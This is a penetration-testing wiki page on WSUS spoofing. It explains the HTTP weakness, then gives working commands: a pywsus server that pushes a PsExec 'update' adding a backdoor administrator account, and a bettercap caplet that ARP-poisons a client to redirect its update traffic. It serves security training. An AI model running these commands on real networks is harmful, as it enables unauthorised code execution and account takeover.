Infiltr8: The Red-Book
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  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
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        • Accessibility features Backdoor
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        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
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      • Linux
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    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
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      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
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        • Installed applications
        • Network Configuration
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        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
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    • Privilege Escalation
      • Windows
        • Tools ⚙️
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        • Insecure Services
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          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
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          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
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            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
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          • 🛠️Full Nelson
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        • GLIBC Exploits
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          • D-Bus Authentication Bypass
        • Sudo Exploits
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        • SUID Binaries
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          • Python
            • Pip Download Code Execution
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          • Ruby
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        • Scheduled tasks
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        • Capabilities
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        • Linux Active Directory
    • Credential Access
      • Password Stores
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        • Web Browsers
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        • Linux
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      • MITM and coerced auths
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      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
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    • Exfiltration
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  • Web Pentesting
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          • Apache Commons Text
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      • CMS
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      • Frameworks
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      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
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      • RDP
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    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
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  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
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        • enum4linux ⚙️
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        • DHCP
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      • Objects & Settings
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  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
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        • Credentials
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            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
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          • Virtual Machines
          • Automation
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        • Role-Based Access
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        • Service Principals & Applications
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      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
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On this page
  • Theory
  • Practice
  • Preparing the evil WSUS
  • Poisoning and hijacking
  • Triggering Windows update
  • Alternative attack
  • Resources

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  1. Active Directory Pentesting
  2. Movement
  3. MITM and coerced auths

WSUS spoofing

Last updated 2 years ago

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Theory

WSUS (Windows Server Update Services) allow administrators to centralize the management and deployment of Windows updates within their organization network. When first configuring this set of services, the default configuration makes the WSUS use HTTP without any secure layer like SSL/TLS. HTTPS is not enforced by default.

When pulling an update from the WSUS server, clients are redirected to the executable file to download and execute (which can only be a binary signed by Microsoft) and obtain a handler named CommandLineInstallation that specifies the additional parameters to pass the binary during the update installation. Without HTTPS, the WSUS is vulnerable to Man-in-the-Middle attacks where adversaries can either pose as the update server and send malicious updates or intercept and modify updates sent to the clients.

Practice

The following command prints the WSUS server the client requests when searching for an update. If the path looks like http://wsus.domain.local/, showing the use of HTTP instead of HTTPS, the attacks can be attempted.

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver

The WSUS spoofing attack can be conducted as follows

  1. Obtain a Man-in-the-Middle position between clients and the update server with .

  2. Redirect traffic from clients -> legitimate WSUS to clients -> attacker's WSUS

  3. Have a custom WSUS server running able to send evil updates to clients

In a scenario where the clients and the attacker are on the same subnet, and the update server is on another one, the steps below can be followed. For other scenarios or more info on ARP poisoning, a recipe exists for it.

Preparing the evil WSUS

The evil WSUS server needs to be started before doing any ARP poisoning. The (Python) utility can be used for that matter.

python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'

Poisoning and hijacking

Packets from the client to the WSUS server need to be hijacked and sent to the attacker's evil WSUS server. In order to do so, the attacker must pose as the client's gateway, route all traffic to the real gateway except the packets destined to the WSUS server.

wsus_spoofing.cap
# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on

The caplet above can be loaded with the following command in order to launch the ARP poisoning attack.

bettercap --iface $interface --caplet wsus_spoofing.cap

Triggering Windows update

The search for Windows updates can be manually triggered when having access to the target computer by going to Settings > Update & Security > Windows Update > Check for updates.

Alternative attack

Resources

Programs other than PsExec.exe can be used here. Using built-in programs features to bypass security restrictions or operate attacks like this is called (LOL). Other Windows LOL binaries and scripts (a.k.a. LOLbins or LOLbas) can be found on .

Once the WSUS server is up and running, the ARP poisoning attack can start. The best tool to operate ARP poisoning is (Go) and for the majority of the scenarios, basic knowledge of the iptables utility is required.

By default, the automatic updates interval is 22 hours ().

Another way of attacking insecure WSUS without having to rely on ARP poisoning but requiring user access to the target machine is explained in the following blogpost :

ARP poisoning
ARP poisoning
pywsus
Living off the land
lolbas-project.github.io
bettercap
source
WSUS Attacks Part 2: CVE-2020-1013 a Windows 10 Local Privilege Escalation 1-Day
LogoWSUS Attacks Part 1: Introducing PyWSUS - GoSecureGoSecure